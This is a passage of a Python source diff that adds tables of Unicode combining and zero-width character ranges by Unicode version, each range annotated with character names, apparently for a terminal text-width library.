Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df5,), # Combining Dotted Grave A..Combining Up Tack Above + (0x01dfc, 0x01dff,), # Combining Double Inverte..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69f, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2d,), # Combining Ligature Left ..Combining Conjoining Mac + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11301, 0x11301,), # Grantha Sign Candrabindu..Grantha Sign Candrabindu + (0x1133c, 0x1133c,), # Grantha Sign Nukta ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '8.0.0': ( + # Source: DerivedGeneralCategory-8.0.0.txt + # Date: 2015-02-13, 13:47:11 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008e3, 0x00902,), # Arabic Turned Damma Belo..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d01, 0x00d01,), # Malayalam Sign Candrabin..Malayalam Sign Candrabin + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01abe,), # Combining Doubled Circum..Combining Parentheses Ov + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df5,), # Combining Dotted Grave A..Combining Up Tack Above + (0x01dfc, 0x01dff,), # Combining Double Inverte..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69e, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2f,), # Combining Ligature Left ..Combining Cyrillic Titlo + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # 